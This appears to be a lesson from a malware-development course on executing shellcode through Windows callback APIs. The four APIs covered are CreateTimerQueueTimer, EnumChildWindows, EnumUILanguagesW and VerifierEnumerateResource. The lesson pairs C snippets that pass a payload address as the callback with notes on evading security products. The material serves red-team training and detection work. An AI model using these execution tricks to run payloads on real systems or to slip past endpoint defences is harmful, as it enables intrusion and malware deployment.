Callback Code Execution

Introduction

Callback functions are used to handle events or to perform an action when a condition is met. They are used in a variety of scenarios in the Windows operating system, including event handling, window management, and multithreading. Microsoft's definition of a callback function is as follows:

A callback function is code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation.

Several ordinary Windows APIs possess the ability to execute payloads using callbacks. Using them provides a benefit against security solutions since these functions may appear benign and can potentially evade some security solutions.

Abusing Callback Functions

Windows callbacks can be executed using a function pointer. To run the payload, the address of the payload must be passed instead of a valid callback function pointer. Callback Execution can replace the use of the `CreateThread` WinAPI and other thread-related techniques for payload execution. Additionally, there is no need to use the functions correctly by passing the appropriate parameters. The return value or functionality of these functions is not of any concern.

One important point about callback functions is that they only work in the local process address space and cannot be used to perform remote code injection techniques.

Sample Callback Functions

The following functions are all capable of execution callback functions.

CreateTimerQueueTimer's **3rd parameter**

```
BOOL CreateTimerQueueTimer(
  [out]           PHANDLE             phNewTimer,
  [in, optional] HANDLE               TimerQueue,
  [in]           WAITORTIMERCALLBACK Callback,      // here
  [in, optional] PVOID               Parameter,
  [in]           DWORD               DueTime,
  [in]           DWORD               Period,
  [in]           ULONG               Flags
);
```

EnumChildWindows's **2nd parameter**

```
BOOL EnumChildWindows(
  [in, optional] HWND        hWndParent,
  [in]           WNDENUMPROC lpEnumFunc,    // here
  [in]           LPARAM      lParam
);
```

EnumUILanguagesW's **1st parameter**

```
BOOL EnumUILanguagesW(
  [in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,     // here
  [in] DWORD                dwFlags,
  [in] LONG_PTR             lParam
);
```

VerifierEnumerateResource's **4th parameter**

```
ULONG VerifierEnumerateResource(
  HANDLE                           Process,
  ULONG                            Flags,
  ULONG                            ResourceType,
  AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback,     // here
  PVOID                            EnumerationContext
);
```

The following sections will provide detailed explanations for each of these functions. The payload used in the code samples is stored in the `.text` section of the binary. This allows the shellcode to have the required `RX` memory permissions without having to allocate executable memory using `VirtualAlloc` or other memory allocation functions.

Using CreateTimerQueueTimer

`CreateTimerQueueTimer` creates a new timer and adds it to the specified timer queue. The timer is specified using a callback function that is called when the timer expires. The callback function is executed by the thread that created the timer queue.

The snippet below runs the code located at `Payload` as a callback function.

```
HANDLE hTimer = NULL;

if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload,
```

```
NULL, NULL, NULL, NULL)){
        printf("[!] CreateTimerQueueTimer Failed With Error : %d \n",
GetLastError());
        return -1;
}
```

Using EnumChildWindows

`EnumChildWindows` allows a program to enumerate the child windows of a parent window. It takes a parent window handle as an input and applies a user-defined callback function to each of the child windows, one at a time. The callback function is called for each child window, and it receives the child window handle and a user-defined value as parameters.

The snippet below runs the code located at `Payload` as a callback function.

```
        if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
                printf("[!] EnumChildWindows Failed With Error : %d \n",
GetLastError());
                return -1;
        }
```

Using EnumUILanguagesW

`EnumUILanguagesW` enumerates the user interface (UI) languages that are installed on the system. It takes a callback function as a parameter and applies the callback function to each UI language, one at a time. Note that any value instead of `MUI_LANGUAGE_NAME` flag still works.

The snippet below runs the code located at `Payload` as a callback function.

```
        if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload,
MUI_LANGUAGE_NAME, NULL)) {
                printf("[!] EnumUILanguagesW Failed With Error : %d \n",
GetLastError());
                return -1;
        }
```

Using VerifierEnumerateResource

`VerifierEnumerateResource` is used to enumerate the resources in a specified module. Resources are data that are stored in a module (such as an executable or a dynamic-link library) and can be accessed by the module or by other modules at runtime. Examples of resources include strings, bitmaps, and dialog box templates.

`VerifierEnumerateResource` is exported from `verifier.dll`, therefore the module must be dynamically loaded using the `LoadLibrary` and `GetProcAddress` WinAPIs to access the function.

Note that if the `ResourceType` parameter is not equal to `AvrfResourceHeapAllocation` then the payload will not be executed. `AvrfResourceHeapAllocation` allows the function to enumerate heap allocation, including heap metadata blocks.

```
        HMODULE hModule = NULL;
        fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;

        hModule = LoadLibraryA("verifier.dll");
        if (hModule == NULL){
                printf("[!] LoadLibraryA Failed With Error : %d \n",
GetLastError());
                return -1;
        }

        pVerifierEnumerateResource = GetProcAddress(hModule,
"VerifierEnumerateResource");
        if (pVerifierEnumerateResource == NULL) {
                printf("[!] GetProcAddress Failed With Error : %d \n",
GetLastError());
                return -1;
        }

        // Must set the AvrfResourceHeapAllocation flag to run the payload
        pVerifierEnumerateResource(GetCurrentProcess(), NULL,
AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload,
NULL);
```

Conclusion

This module reviewed several callback functions and demonstrated their usage for payload execution. Callback functions are only beneficial when the payload is running in the memory address space of the local process.

Microsoft's documentation page can be searched to discover additional callback functions. Additionally, a GitHub repository was created that contains a list of the most common callback functions.